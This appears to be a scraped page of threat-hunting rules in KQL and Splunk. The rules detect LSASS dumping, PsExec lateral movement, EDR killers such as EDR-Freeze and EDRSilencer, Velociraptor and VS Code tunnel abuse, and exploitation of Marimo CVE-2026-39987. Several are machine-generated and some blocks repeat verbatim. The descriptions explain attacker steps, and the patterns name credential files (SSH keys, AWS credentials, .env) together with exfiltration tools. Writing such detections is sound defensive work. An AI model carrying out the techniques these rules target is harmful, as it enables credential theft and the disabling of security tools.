Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — EDR killers explained: Beyond the driversExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1543.003
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — EDR killers explained: Beyond the drivers
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("aswarpot.sys", "k7rkscan.sys", "bdapiutil.sys", "tfsysmon.sys", "hwrwdrv.sys", "throttlestop.sys", "truesight.sys", "enportv.sys", "2gk8.exe", "smuot.sys", "edr-freeze.exe", "killer.exe", "edrgay.exe", "susanoo.exe", "vmtools.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("aswarpot.sys", "k7rkscan.sys", "bdapiutil.sys", "tfsysmon.sys", "hwrwdrv.sys", "throttlestop.sys", "truesight.sys", "enportv.sys", "2gk8.exe", "smuot.sys", "edr-freeze.exe", "killer.exe", "edrgay.exe", "susanoo.exe", "vmtools.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — EDR killers explained: Beyond the drivers ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("aswarpot.sys","k7rkscan.sys","bdapiutil.sys","tfsysmon.sys","hwrwdrv.sys","throttlestop.sys","truesight.sys","enportv.sys","2gk8.exe","smuot.sys","edr-freeze.exe","killer.exe","edrgay.exe","susanoo.exe","vmtools.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("aswarpot.sys","k7rkscan.sys","bdapiutil.sys","tfsysmon.sys","hwrwdrv.sys","throttlestop.sys","truesight.sys","enportv.sys","2gk8.exe","smuot.sys","edr-freeze.exe","killer.exe","edrgay.exe","susanoo.exe","vmtools.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] EDR-Freeze: WerFaultSecure /type 268310 against protected security processInstallationHigh
Hunts the user-mode 'EDR-Freeze' technique called out in the article as a driverless EDR killer. The tool spawns WerFaultSecure.exe with /encfile, /cancel and a non-default /type bitmask (e.g. 268310 / 0x4186) targeting the PID of a PPL-protected EDR/AV process, then suspends WerFaultSecure mid-MiniDumpWriteDump to leave the EDR frozen.
Rationale: Article calls out EDR-Freeze by name as a growing driverless EDR killer. The /type 268310 bitmask is the specific MiniDumpWriteDump flag set used by the PoC and reproduced by ransomware affiliates; legitimate WER invocation never uses that combination together with /encfile and /cancel, giving very high fidelity.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/new-edr-freeze-tool-uses-windows-wer-to-suspend-security-software/
• https://www.picussecurity.com/resource/blog/edr-freeze-the-user-mode-attack-that-puts-security-into-a-coma
• https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_hktl_edr_freeze/
• https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/EDRFreeze.A&ThreatID=2147953067
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name="WerFaultSecure.exe" AND Processes.process="*/encfile*" AND Processes.process="*/cancel*" AND Processes.process="*/type*" AND (Processes.process="*268310*" OR Processes.process="*0x4186*" OR Processes.process="*0x416d6*") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts the 'EDRSilencer' driverless EDR killer named in the article: the tool enumerates running EDR sensors and adds Windows Filtering Platform block filters bound to their executable paths so telemetry never leaves the host. Detection focuses on filter additions targeting known EDR agent images and on the EDRSilencer binary's own subcommand strings.
Rationale: Article explicitly names EDRSilencer as a publicly-available driverless tool seen in ransomware operations within days of release. Hunting on the project's own subcommand strings ('blockedr'/'unblockedr') plus WFP/firewall block rules whose target image is a known EDR sensor avoids false positives because legitimate admins never block their own EDR agent's egress.
Cross-checked against:
• https://www.trendmicro.com/en_us/research/24/j/edrsilencer-disrupting-endpoint-security-solutions.html
• https://github.com/netero1010/EDRSilencer
• https://detection.fyi/sigmahq/sigma/windows/builtin/security/object_access/win_security_wfp_endpoint_agent_blocked/
• https://github.com/amjcyber/EDRNoiseMaker
ATT&CKT1562.004T1562.001
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let edrImages = dynamic(["MsSense.exe","MsMpEng.exe","NisSrv.exe","SenseIR.exe","SentinelAgent.exe","SentinelServiceHost.exe","CSFalconService.exe","CSFalconContainer.exe","cyserver.exe","CylanceSvc.exe","FortiEDR.exe","fortiedrcollectorservice.exe","ekrn.exe","egui.exe","elastic-agent.exe","xagt.exe","TmCCSF.exe"]);
DeviceProcessEvents
| where ProcessCommandLine has_any ("EDRSilencer", "blockedr", "unblockedr")
or (FileName =~ "netsh.exe" and ProcessCommandLine has "wfp" and ProcessCommandLine has "add" and ProcessCommandLine has "filter")
or (FileName in~ ("powershell.exe","pwsh.exe")
and ProcessCommandLine has "New-NetFirewallRule"
and ProcessCommandLine has "Outbound"
and ProcessCommandLine has "Block"
and ProcessCommandLine has_any (edrImages))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| union (
DeviceEvents
| where ActionType in ("FirewallOutboundConnectionBlocked","FirewallServiceStopped","WfpFilterAdd","FirewallRuleAdded")
| where InitiatingProcessFileName has_any (edrImages) or AdditionalFields has_any (edrImages)
| project Timestamp, DeviceName, ActionType, InitiatingProcessFileName, AdditionalFields
)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process IN ("*EDRSilencer*","*blockedr*","*unblockedr*") OR (Processes.process_name="netsh.exe" AND Processes.process="*wfp*" AND Processes.process="*add*" AND Processes.process="*filter*") OR (Processes.process_name IN ("powershell.exe","pwsh.exe") AND Processes.process="*New-NetFirewallRule*" AND Processes.process="*-Direction*Outbound*" AND Processes.process="*-Action*Block*" AND (Processes.process="*MsSense*" OR Processes.process="*MsMpEng*" OR Processes.process="*SentinelAgent*" OR Processes.process="*CSFalconService*" OR Processes.process="*cyserver*" OR Processes.process="*FortiEDR*" OR Processes.process="*ekrn*" OR Processes.process="*elastic-agent*"))) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Warlock-style chain: Velociraptor agent followed by VS Code (code.exe) tunnelCommand & ControlMedium
Hunts the article-cited Warlock TTP where the gang pioneered malicious use of the Velociraptor DFIR agent and combined it with the VS Code remote tunnel abuse first seen with Mustang Panda. The agent is dropped (often via MSI) on a non-IR host and used to fetch and run 'code.exe tunnel' so the operator gets an authenticated, Microsoft-signed reverse channel.
Rationale: Article specifically attributes the malicious-Velociraptor + VS Code-tunnel combo to the Warlock gang and notes its rapid adoption. Co-occurrence of velociraptor.exe (or msiexec installing it) and code.exe tunnel on the same non-developer host is highly anomalous; cross-checked with Huntress, Sophos GOLD SALEM, Talos and Trend Micro write-ups of Warlock / Storm-2603.
Cross-checked against:
• https://www.huntress.com/blog/velociraptor-misuse-part-two-eye-of-the-storm
• https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/
• https://www.sophos.com/en-us/blog/gold-salem-tradecraft-for-deploying-warlock-ransomware
• https://www.trendmicro.com/en_us/research/26/c/dissecting-a-warlock-attack.html
• https://thehackernews.com/2025/08/attackers-abuse-velociraptor-forensic-tool-to.html
ATT&CKT1219T1572T1105
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let veloHosts = DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName has "velociraptor" or ProcessCommandLine has "velociraptor" or (FileName =~ "msiexec.exe" and ProcessCommandLine has "velociraptor")
| summarize firstVelo=min(Timestamp) by DeviceId, DeviceName;
DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("Code.exe","code.exe","code-tunnel.exe")
and (ProcessCommandLine has "tunnel" or ProcessCommandLine has "--accept-server-license-terms")
| join kind=inner veloHosts on DeviceId
| where Timestamp between (firstVelo .. (firstVelo + 7d))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, firstVelo
| union (
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has_any ("global.rel.tunnels.api.visualstudio.com","vscode.dev","tunnels.api.visualstudio.com")
| join kind=inner veloHosts on DeviceId
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN ("velociraptor.exe","velociraptor_client.exe") OR Processes.process="*velociraptor*--config*" OR (Processes.process_name="msiexec.exe" AND Processes.process="*velociraptor*")) OR (Processes.process_name IN ("Code.exe","code.exe","code-tunnel.exe") AND (Processes.process="*tunnel*" OR Processes.process="*--accept-server-license-terms*")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id _time | `drop_dm_object_name(Processes)` | eventstats values(process_name) as host_procs by dest | where mvfind(host_procs,"velociraptor")>=0 AND mvfind(host_procs,"[Cc]ode")>=0 | sort 0 dest _time
2026-03-197 use cases1 technique3 kill-chain phases detected
Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management contain a deserialization of untrusted data vulnerability in the web-based management interface that could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device. Vendor: Cisco, Product: Secure Firewall Management Center (FMC). Known ransomware use: Known. Federal patch due: 2026-03-22.
CVEsCVE-2026-20131
ATT&CKT1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-20131")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-20131")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-184 use cases0 techniques3 kill-chain phases detected
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that could allow attackers to execute arbitrary JavaScript within the user's session, potentially leading to unauthorized access to sensitive information. Vendor: Synacor, Product: Zimbra Collaboration Suite (ZCS). Federal patch due: 2026-04-23.
CVEsCVE-2025-48700
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-48700")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-48700")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
